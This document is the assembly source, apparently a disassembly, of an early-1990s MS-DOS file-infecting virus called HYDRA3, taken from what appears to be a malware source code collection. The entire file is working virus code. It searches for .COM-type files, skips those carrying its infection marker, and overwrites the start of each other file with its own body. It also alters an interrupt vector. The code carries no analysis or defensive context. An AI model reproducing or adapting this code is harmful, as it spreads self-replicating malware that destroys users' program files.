MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.hydra3.asm

PAGE  59,132

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;<3B><>								         <20><>
;<3B><>			        HYDRA3				         <20><>
;<3B><>								         <20><>
;<3B><>      Created:   27-Aug-91					         <20><>
;<3B><>      Passes:    5	       Analysis Options on: AW		         <20><>
;<3B><>      Copyright (c)						         <20><>
;<3B><>								         <20><>
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psp_cmd_size	equ	80h
data_11e	equ	100h
data_12e	equ	156h
data_13e	equ	159h
data_14e	equ	234h
data_15e	equ	256h

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

hydra3		proc	far

start:
		jmp	loc_1
		pop	cx
		inc	sp
		add	[bx+si],al
data_3		db	'HyDra-3   Beta - Not For Release'
		db	'. *.CO?'
		db	0
data_6		dw	0, 8B39h
data_8		dw	0
data_9		db	0
		db	29 dup (0)
data_10		db	0
		db	13 dup (0)
copyright	db	'Copyright (c)'
		db	'  1991 by C.A.V.E.  '
loc_1:
		push	ax
		mov	ax,cs
		add	ax,1000h
		xor	di,di			; Zero register
		mov	cx,156h
		mov	si,100h
		mov	es,ax
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	ah,1Ah
		mov	dx,offset data_9
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA(disk xfer area) ds:dx
		mov	ah,4Eh			; 'N'
		mov	dx,offset data_3+22h	; ('*')
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jc	loc_5			; Jump if carry Set
loc_2:
		mov	ah,3Dh			; '='
		mov	al,2
		mov	dx,offset data_10
		mov	al,2
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	bx,ax
		push	es
		pop	ds
		mov	ax,3F00h
		mov	cx,0FFFFh
		mov	dx,data_12e
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		add	ax,156h
		mov	cs:data_8,ax
		cmp	word ptr ds:data_13e,4459h
		jne	loc_3			; Jump if not equal
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		push	cs
		pop	ds
		mov	ah,4Fh			; 'O'
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jc	loc_6			; Jump if carry Set
		jmp	short loc_2
loc_3:
		xor	cx,cx			; Zero register
		mov	dx,cx
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		jc	loc_4			; Jump if carry Set
		mov	ah,40h			; '@'
		xor	dx,dx			; Zero register
		mov	cx,cs:data_8
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
loc_4:
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		push	cs
		pop	ds
loc_5:
		mov	ah,1Ah
		mov	dx,psp_cmd_size
		int	21h			; DOS Services  ah=function 1Ah
						;  set DTA(disk xfer area) ds:dx
		jmp	short loc_7
		nop
loc_6:
		push	dx
		mov	ax,3504h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	ax,es
		mov	dx,bx
		mov	ds,ax
		mov	ax,2513h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ax,0
		int	21h			; DOS Services  ah=function 00h
						;  terminate, cs=progm seg prefx
loc_7:
		xor	di,di			; Zero register
		mov	si,data_14e
		mov	cx,22h
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		pop	bx
		mov	cs:data_6,0
		mov	word ptr cs:data_6+2,es
		pop	bx
		jmp	dword ptr cs:data_6
		push	ds
		pop	es
		mov	cx,0FFFFh
		mov	si,data_15e
		mov	di,data_11e
		sub	cx,si
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	word ptr cs:[100h],100h
		mov	word ptr cs:[102h],ds
		mov	ax,bx
		jmp	dword ptr cs:[100h]
		int	20h			; DOS program terminate

hydra3		endp

seg_a		ends



		end	start